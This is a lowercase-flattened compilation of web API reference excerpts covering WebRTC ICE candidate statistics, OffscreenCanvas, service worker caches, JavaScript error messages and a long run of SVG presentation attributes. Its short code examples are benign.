the offscreencanvas.transfertoimagebitmap() method creates an imagebitmap object from the most recently rendered image of the offscreencanvas.
... syntax imagebitmap offscreencanvas.transfertoimagebitmap() return value an imagebitmap.
... examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
... offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } specifications specification status comment html living standardthe definition of 'offscreencanvas.transfertoimagebitmap()' in that specification.
PhotoCapabilities.fillLightMode - Web APIs
the filllightmode read-only property of the photocapabilities interface returns all available fill light options of the source device.
... syntax const lightmodes = photocapabilities.filllightmode value an array of available fill light modes.
... auto the device's fill light will be used automatically in low light conditions.
... specifications specification status comment mediastream image capturethe definition of 'filllightmode' in that specification.
RTCAnswerOptions - Web APIs
the rtcansweroptions dictionary is used to provide optional settings when creating an sdp answer using rtcpeerconnection.createoffer() after receiving an offer from a remote peer.
... note: at this time, rtcansweroptions does not have any additional properties defined beyond those included in rtcofferansweroptions.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcansweroptions' in that specification.
... candidate recommendation initial definition.
RTCIceCandidateInit.usernameFragment - Web APIs
the optional property usernamefragment in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's usernamefragment property.
... value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.usernamefragment' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.bytesReceived - Web APIs
the rtcicecandidatepairstats property bytesreceived indicates the total number of payload bytes—that is, bytes which aren't overhead such as headers or padding—that hve been received to date on the connection described by the candidate pair.
... syntax received = rtcicecandidatepairstats.bytesreceived; value an integer value indicating the total number of bytes received so far on the connection described by this candidate pair.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.bytesreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.bytesSent - Web APIs
the rtcicecandidatepairstats property bytessent indicates the total number of payload bytes—that is, bytes which aren't overhead such as headers or padding—that hve been sent so far on the connection described by the candidate pair.
... syntax sent = rtcicecandidatepairstats.bytessent; value an integer value indicating the total number of bytes sent so far on the connection described by this candidate pair.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.bytessent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.consentRequestsSent - Web APIs
the rtcicecandidatepairstats property consentrequestssent specifies the number of consent requests that have been sent by this peer to the remote peer on the connection described by the pair of candidates.
... syntax consentrequestssent = rtcicecandidatepairstats.consentrequestssent; value an integer indicating the number of consent requests this peer has sent to the other peer over the connection described by the pair of candidates referenced by this rtcicecandidatepairstats object.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.consentrequestssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
the rtcicecandidatepairstats property currentroundtriptime is a floating-point value indicating the number of seconds it takes for data to be sent by this peer to the remote peer and back over the connection described by this pair of ice candidates.
... syntax rtt = rtcicecandidatepairstats.currentroundtriptime; value a floating-point value indicating the round-trip time, in seconds for the connection described by the pair of candidates for which this rtcicecandidatepairstats object offers statistics.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.currentroundtriptime' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.firstRequestTimestamp - Web APIs
the rtcicecandidatepairstats property firstrequesttimestamp specifies the time at which the first stun request was sent on the described candidate pair.
... syntax firstrequesttimestamp = rtcicecandidatepairstats.firstrequesttimestamp; value a domhighrestimestamp object indicating the timestamp at which the first stun request was sent on the connection described by the described pair of candidates.
... you can use this value in combination with lastrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.firstrequesttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.lastPacketReceivedTimestamp - Web APIs
the rtcicecandidatepairstats property lastpacketreceivedtimestamp indicates the time at which the connection described by the candidate pair last received a packet.
... syntax lastpacketreceivedtimestamp = rtcicecandidatepairstats.lastpacketreceivedtimestamp; value a domhighrestimestamp object indicating the timestamp at which the connection described by pair of candidates last received a packet, stun packets excluded.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastpacketreceivedtimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.lastPacketSentTimestamp - Web APIs
the rtcicecandidatepairstats property lastpacketsenttimestamp indicates the time at which the connection described by the candidate pair last sent a packet, not including stun packets.
... syntax lastpacketsenttimestamp = rtcicecandidatepairstats.lastpacketsenttimestamp; value a domhighrestimestamp object indicating the timestamp at which the connection described by pair of candidates last sent a packet, stun packets excluded.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastpacketsenttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.lastRequestTimestamp - Web APIs
the rtcicecandidatepairstats property lastrequesttimestamp indicates the time at which the most recent stun request was sent on the described candidate pair.
... syntax lastrequesttimestamp = rtcicecandidatepairstats.lastrequesttimestamp; value a domhighrestimestamp object indicating the timestamp at which the last (most recent) stun request was sent on the connection indicated by the described pair of candidates.
... you can use this value in combination with firstrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastrequesttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.lastResponseTimestamp - Web APIs
the rtcicecandidatepairstats property lastresponsetimestamp indicates the time at which the last stun response was received on the described candidate pair.
... syntax lastresponsetimestamp = rtcicecandidatepairstats.lastresponsetimestamp; value a domhighrestimestamp object indicating the timestamp at which the most recent stun response was received on the connection defined by the described pair of candidates.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastresponsetimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.requestsSent - Web APIs
the rtcicecandidatepairstats dictionary's requestssent property indicates the total number of stun connectivity check requests that have been sent so far on the connection described by this pair of candidates.
... syntax requestssent = rtcicecandidatepairstats.requestssent; value an integer value which specifies the number of stun connectivity requests that have been sent to date on the connection described by this pair of ice candidates.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.requestssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.responsesReceived - Web APIs
the responsesreceived property in the rtcicecandidatepairstats dictionary indicates the total number of stun connectivity check responses that have been received on the connection described by this pair of candidates.
... syntax responsesreceived = rtcicecandidatepairstats.responsesreceived; value an integer value which specifies the number of stun connectivity request responses that have been received on the connection described by this pair of candidates so far.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.responsesreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.responsesSent - Web APIs
the rtcicecandidatepairstats dictionary's responsessent property indicates the total number of stun connectivity check responses that have been sent so far on the connection described by this pair of candidates.
... syntax responsessent = rtcicecandidatepairstats.responsessent; value an integer value indicating the number of times a repsonse has been sent to a stun connectivity check request.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.responsessent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
the rtcicecandidatepairstats dictionary's totalroundtriptime property is the total time that has elapsed between sending stun requests and receiving the responses, for all such requests that have been made so far on the pair of candidates described by this rtcicecandidatepairstats object.
... syntax totalrtt = rtcicecandidatepairstats.totalroundtriptime; value this floating-point value indicates the total number of seconds which have elapsed between sending out stun connectivity and consent check requests and receiving their responses, for all such requests made so far on the connection described by this candidate pair.
... you can calculate the average round-trip time (rtt) by dividing this value by the value of the responsesreceived property: rtt = rtcicecandidatepairstats.totalroundtriptime / rtcicecandidatepairstats.responsesreceived; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.totalroundtriptime' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.transportId - Web APIs
the transportid property uniquely identifies the rtcicetransport that was inspected to obtain the transport-related statistics contained in the rtcicecandidatepairstats object.
... syntax transportid = rtcicecandidatepairstats.transportid; value a domstring which uniquely identifies the rtcicetransport object from which the transport-related data was obtained for the statistics contained in this rtcicecandidatepairstats object.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.transportid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.port - Web APIs
the rtcicecandidatestats dictionary's port property specifies the network port used by the candidate.
... syntax candidateport = rtcicecandidatestats.port; value an integer value indicating the network port used by the rtcicecandidate described by the rtcicecandidatestats object.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.port' in that specification.
... candidate recommendation initial specification.
RTCIceTcpCandidateType - Web APIs
the webrtc api's rtcicetcpcandidatetype enumerated type provides a set of domstring values representing the types of tcp candidates.
... usage notes the rtcicetcpcandidatetype type is used by the tcptype property of rtcicecandidate objects.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetcpcandidatetype' in that specification.
... candidate recommendation initial definition.
RTCPeerConnectionIceEvent.candidate - Web APIs
the read-only candidate property of the rtcpeerconnectioniceevent interface returns the rtcicecandidate associated with the event.
... syntax var candidate = event.candidate; value an rtcicecandidate object representing the ice candidate that has been received, or null to indicate that there are no further candidates for this negotiation session.
... example pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent.candidate' in that specification.
... candidate recommendation initial specification.
ReadableStreamBYOBReader.cancel() - Web APIs
the cancel() method of the readablestreambyobreader interface cancels the stream, signaling a loss of interest in the stream by a consumer.
... note: if the reader is active, the cancel() method behaves the same as that for the associated stream (readablestream.cancel()).
... syntax var promise = readablestreambyobreader.cancel(reason); parameters reason a domstring providing a human-readable reason for the cancellation.
... specifications specification status comment streamsthe definition of 'cancel()' in that specification.
Window.locationbar - Web APIs
returns the locationbar object, whose visibility can be checked.
... syntax objref = window.locationbar example the following complete html example shows how the visible property of the locationbar object is used.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> var visible = window.locationbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.locationbar' in that specification.
... living standard html5the definition of 'window.locationbar' in that specification.
WindowOrWorkerGlobalScope.caches - Web APIs
the caches read-only property of the windoworworkerglobalscope interface returns the cachestorage object associated with the current context.
... syntax var mycachestorage = self.caches; // or just caches value a cachestorage object.
... example the following example shows how you'd use a cache in a service worker context to store assets offline.
... this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'caches' in that specification.
str:concat() - EXSLT
WebEXSLTstrconcat
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes str:concat() returns a string containing all the string values in a node-set concatenated together.
... syntax str:concat(nodeset) parameters nodeset the node-set whose nodes' string values should be concatenated into one string.
... returns a string whose value is all the string values of the nodes in nodeset concatenated together.
... specifications exslt - str:concat ...
<plaintext>: The Plain Text element (Deprecated) - HTML: Hypertext Markup Language
<plaintext> is deprecated since html 2, and not all browsers implemented it.
... instead of <plaintext>, use the <pre> element or, if semantically accurate (such as for inline text), the <code> element.
... escape any <, > and & characters, to prevent browsers inadvertently parsing content the element content as html.
... a monospaced font can be applied to any html element via a css font-family style with the monospace generic value.
TypeError: can't redefine non-configurable property "x" - JavaScript
the javascript exception "can't redefine non-configurable property" occurs when it was attempted to redefine a property, but that property is non-configurable.
... message typeerror: cannot modify non-writable property {x} (edge) typeerror: can't redefine non-configurable property "x" (firefox) typeerror: cannot redefine property: "x" (chrome) error type typeerror what went wrong?
...the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed.
... var obj = object.create({}); object.defineproperty(obj, "foo", {value: "bar"}); object.defineproperty(obj, "foo", {value: "baz"}); // typeerror: can't redefine non-configurable property "foo" you will need to set the "foo" property to configurable, if you intend to redefine it later in the code.
TypeError: can't access dead object - JavaScript
the javascript exception "can't access dead object" occurs when firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed to improve in memory usage and to prevent memory leaks.
... message typeerror: can't access dead object error type typeerror what went wrong?
... if (components.utils.isdeadwrapper(window)) { // dead } unprivileged code has no access to component.utils and might just be able catch the exception.
... try { string(window); } catch (e) { console.log("window is likely dead"); } ...
SyntaxError: a declaration in the head of a for-of loop can't have an initializer - JavaScript
the javascript exception "a declaration in the head of a for-of loop can't have an initializer" occurs when the head of a for...of loop contains an initializer expression such as |for (var i = 0 of iterable)|.
... message syntaxerror: for-of loop head declarations cannot have an initializer (edge) syntaxerror: a declaration in the head of a for-of loop can't have an initializer (firefox) syntaxerror: for-of loop variable declaration may not have an initializer.
... examples invalid for-of loop let iterable = [10, 20, 30]; for (let value = 50 of iterable) { console.log(value); } // syntaxerror: a declaration in the head of a for-of loop can't // have an initializer valid for-of loop you need to remove the initializer (value = 50) in the head of the for-of loop.
... maybe you intended to make 50 an offset value, in that case you could add it to the loop body, for example.
Logical nullish assignment (??=) - JavaScript
the logical nullish assignment (x ??= y) operator only assigns if x is nullish (null or undefined).
... short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place).
... logical nullish assignment short-circuits as well meaning that x ??= y is equivalent to: x ??
...y; examples using logical nullish assignment function config(options) { options.duration ??= 100; options.speed ??= 25; return options; } config({ duration: 125 }); // { duration: 125, speed: 25 } config({}); // { duration: 100, speed: 25 } specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
prefer_related_applications - Web app manifests
type boolean mandatory no the prefer_related_applications member is a boolean value that specifies that applications listed in related_applications should be preferred over the web application.
... if the prefer_related_applications member is set to true, the user agent might suggest installing one of the related applications instead of this web app.
... if omitted, prefer_related_applications defaults to false.
... examples "prefer_related_applications": true specification specification status comment feedback web app manifestthe definition of 'prefer_related_applications' in that specification.
attributeName - SVG: Scalable Vector Graphics
the attributename attribute indicates the name of the css property or attribute of the target element that is going to be changed during an animation.
...y, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
... specifications specification status comment svg animations level 2the definition of 'attributename' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'attributename' in that specification.
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
the dur attribute indicates the simple duration of an animation.
...the value must be greater than 0 and can be expressed with hours (h), minutes (m), seconds (s) or milliseconds (ms).
... specifications specification status comment svg animations level 2the definition of 'dur' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'dur' in that specification.
fill-opacity - SVG: Scalable Vector Graphics
note: as a presentation attribute fill-opacity can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"> <!-- default fill opacity: 1 --> <circle cx="50" cy="50" r="40" /> <!-- fill opacity as a number --> <circle cx="150" cy="50" r="40" fill-opacity="0.7" /> <!-- fill opacity as a percentage --> <circle cx="250" cy="50" r="40" fill-opacity="50%" /> <!-- fill opacity as a css property --> <circle cx="350" cy="50" r="40" style="fill-opacity: .25;" /> </svg> usage notes value [0-1] | <percentage> d...
... legend compatibility unknown compatibility unknown specifications specification status comment scalable vector graphics (svg) 2the definition of 'fill-opacity' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill-opacity' in that specification.
fill-rule - SVG: Scalable Vector Graphics
note: as a presentation attribute, fill-rule can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polygon>, <polyline>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- default value for fill-rule --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- the center of the shape has two path segments (shown by the red stroke) between it and infinity.
... legend compatibility unknown compatibility unknown specifications specification status comment scalable vector graphics (svg) 2the definition of 'fill-rule' in that specification.
... candidate recommendation definition for shapes and text scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill-rule' in that specification.
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
note: as a presentation attribute, filter can be used as a css property.
... as a presentation attribute, it can be applied to any element but it only has effect on container elements without the <defs> element, all graphics elements and the <use> element.
... specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'filter' in that specification.
filterRes - SVG: Scalable Vector Graphics
the filterres attribute indicates the width and height of the intermediate images in pixels of a filter primitive.
... take care when assigning a non-default value to this attribute.
... only one element is using this attribute: <filter> usage notes value <number-optional-number> default value none animatable yes <number-optional-number> this value takes one or two values, the first one outlining the resolution in horizontal direction, the second one in vertical direction.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'filterres' in that specification.
font-size - SVG: Scalable Vector Graphics
note: as a presentation attribute, font-size can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-size="smaller">smaller</text> <text x="100" y="20" font-size="2em">2em</text> </svg> usage notes value <absolute-size> | <relative-size> | <length-percentage> default value medium animatable yes for a description of the values, please refer to the css font-size property.
... specifications specification status comment css fonts module level 3the definition of 'font-size' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-size' in that specification.
format - SVG: Scalable Vector Graphics
WebSVGAttributeformat
the format attribute indicates the format of the given font.
... here is a list of font formats and their strings that can be used as values for this attribute: format string format truedoc-pfr truedoc™ portable font resource embedded-opentype embedded opentype type-1 postscript™ type 1 truetype truetype opentype opentype, including truetype open truetype-gx truetype with gx extensions speedo speedo intellifont intellifont specifications specificati...
...on status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format for <glyphref>' in that specification.
... recommendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'format for <altglyph>' in that specification.
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
note: you should avoid the use of id values that would be parsed as an svg view specification (e.g., mydrawing.svg#svgview(viewbox(0,200,1000,1000))) or a basic media fragment when used as a url target fragment.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'id' in that specification.
... candidate recommendation defines the allowed values in more detail.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'id' in that specification.
kerning - SVG: Scalable Vector Graphics
WebSVGAttributekerning
the kerning attribute indicates whether the spacing between glyphs should be adjusted based on kerning tables that are included in the relevant font (i.e., enable auto-kerning) or instead disable auto-kerning and set the spacing between them to a specific length (typically, zero).
... note: as a presentation attribute kerning can be used as a css property.
... in css the property is called font-kerning, though.
... as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> html, body, svg { height: 100%; font: 36px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 150 125" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="30" kerning="auto">auto</text> <text x="10" y="70" kerning="0">number</text> <text x="10" y="110" kerning="20px">length</text> </svg> usage notes value auto | <length> default value auto animatable yes auto this value indicates that the spacing between glyphs is adjusted based on kerning tables that are included in the font that will be used.
keyTimes - SVG: Scalable Vector Graphics
if the calcmode attribute is set to paced, the keytimes attribute is ignored.
... if the duration of the animation is indefinite, any keytimes specification will be ignored.
... specifications specification status comment svg animations level 2the definition of 'keytimes' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'keytimes' in that specification.
letter-spacing - SVG: Scalable Vector Graphics
note: as a presentation attribute, letter-spacing can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 400 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" letter-spacing="2">bigger letter-spacing</text> <text x="200" y="20" letter-spacing="-0.5">smaller letter-spacing</text> </svg> usage notes value normal | <length> default value normal animatable yes for a description of the values, please refer to the css letter-spacing property.
... specifications specification status comment css text module level 3the definition of 'letter-spacing' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'letter-spacing' in that specification.
marker-mid - SVG: Scalable Vector Graphics
note: as a presentation attribute, marker-mid can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="circle" markerwidth="8" markerheight="8" refx="4" refy="4"> <circle cx="4" cy="4" r="4" stroke="none" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-mid="url(#circle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the given vertices.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-mid' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-mid' in that specification.
panose-1 - SVG: Scalable Vector Graphics
the panose-1 attribute indicates the panose-1 number of a font face.
... panose-1 is an industry standard truetype font classification and matching technology.
... the panose system consists of a set of ten numbers that categorize the key attributes of a latin typeface, a classification procedure for creating those numbers, and mapper software that determines the closest possible font match given a set of typefaces.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'panose-1' in that specification.
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
... candidate recommendation definition for <polygon> scalable vector graphics (svg) 2the definition of 'points' in that specification.
... candidate recommendation definition for <polyline> scalable vector graphics (svg) 1.1 (second edition)the definition of 'points' in that specification.
... recommendation initial definition for <polygon> scalable vector graphics (svg) 1.1 (second edition)the definition of 'points' in that specification.
primitiveUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse this value indicates that any length values within the filter definitions represent values in the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute).
... objectboundingbox this value indicates that any length values within the filter definitions represent fractions or percentages of the bounding box on the referencing element.
... specifications specification status comment filter effects module level 1the definition of 'primitiveunits' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'primitiveunits' in that specification.
rendering-intent - SVG: Scalable Vector Graphics
the rendering-intent attribute permits the specification of a color profile rendering intent other than the default.
... rendering-intent is applicable primarily to color profiles corresponding to cmyk color spaces.
... the different options cause different methods to be used for translating colors to the color gamut of the target rendering device.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'rendering-intent' in that specification.
specularExponent - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularexponent for <fespecularlighting>' in that specification.
... working draft no change filter effects module level 1the definition of 'specularexponent for <fespotlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularexponent for <fespecularlighting>' in that specification.
... recommendation initial definition for <fespecularlighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularexponent for <fespotlight>' in that specification.
startOffset - SVG: Scalable Vector Graphics
thus, 0% indicates the start point of the path and 100% indicates the end point of the path.
... <number> this value indicates a distance along the path measured in the current user coordinate system for the <textpath> element.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'startoffset' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'startoffset' in that specification.
stemh - SVG: Scalable Vector Graphics
WebSVGAttributestemh
the stemh attribute indicates the horizontal stem width of the font.
...for example, the main vertical stems of roman characters will differ from the thin stems on serifed "m" and "n", plus there may be different widths for uppercase and lowercase characters in the same font.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the horizontal stem width of the font.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemh' in that specification.
stitchTiles - SVG: Scalable Vector Graphics
(320px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(220px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(320px, 100px);" /> </svg> usage notes value nostitch | stitch default value nostitch animatable yes nostitch this value indicates that no attempt is made to achieve smooth transitions at the border of tiles which contain a turbulence function.
... stitch this value indicates that the user agent will automatically adjust the x and y values of the base frequency such that the <feturbulence> node’s width and height (i.e., the width and height of the current subregion) contain an integral number of the tile width and height for the first octave.
... specifications specification status comment filter effects module level 1the definition of 'stitchtiles' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'stitchtiles' in that specification.
stroke-dasharray - SVG: Scalable Vector Graphics
the stroke-dasharray attribute is a presentation attribute defining the pattern of dashes and gaps used to paint the outline of the shape; note: as a presentation attribute, stroke-dasharray can be used as a css property.
... as a presentation attribute, it can be applied to any element, but it only has effect on the following twelve elements: <altglyph> <circle> <ellipse> <path> <line> <polygon> <polyline> <rect> <text> <textpath> <tref> <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dashes nor gaps --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- dashes and gaps of the same size --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="4" /> <!-- dashes and gaps of different sizes --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="4 1" /> <!-- dashes and gaps of various sizes with an odd number of values --> <line x1="0" y1="7" x2="30" y...
... legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-dasharray' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dasharray' in that specification.
stroke-dashoffset - SVG: Scalable Vector Graphics
note: as a presentation attribute stroke-dashoffset can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dash array --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- no dash offset --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="3 1" /> <!-- the start of the dash array computation is pulled by 3 user units --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="3" /> <!-- the start of the dash array computation is pushed by 3 u...
... legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-dashoffset' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dashoffset' in that specification.
stroke-miterlimit - SVG: Scalable Vector Graphics
note: as a presentation attribute stroke-miterlimit can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 38 30" xmlns="http://www.w3.org/2000/svg"> <!-- impact of the default miter limit --> <path stroke="black" fill="none" stroke-linejoin="miter" id="p1" d="m1,9 l7 ,-3 l7 ,3 m2,0 l3.5 ,-3 l3.5 ,3 m2,0 l2 ,-3 l2 ,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5 ,-3 l0.5 ,3" /> <!-- impact of the smallest miter limit (1) --> <path stroke="black" fill="none" stroke-linejoin="miter" stroke-miterlimit="1" id="p2" d="m1,19 l7 ,-3 l7 ,3 m2, 0 l3.5 ,-3 l3.5 ,3...
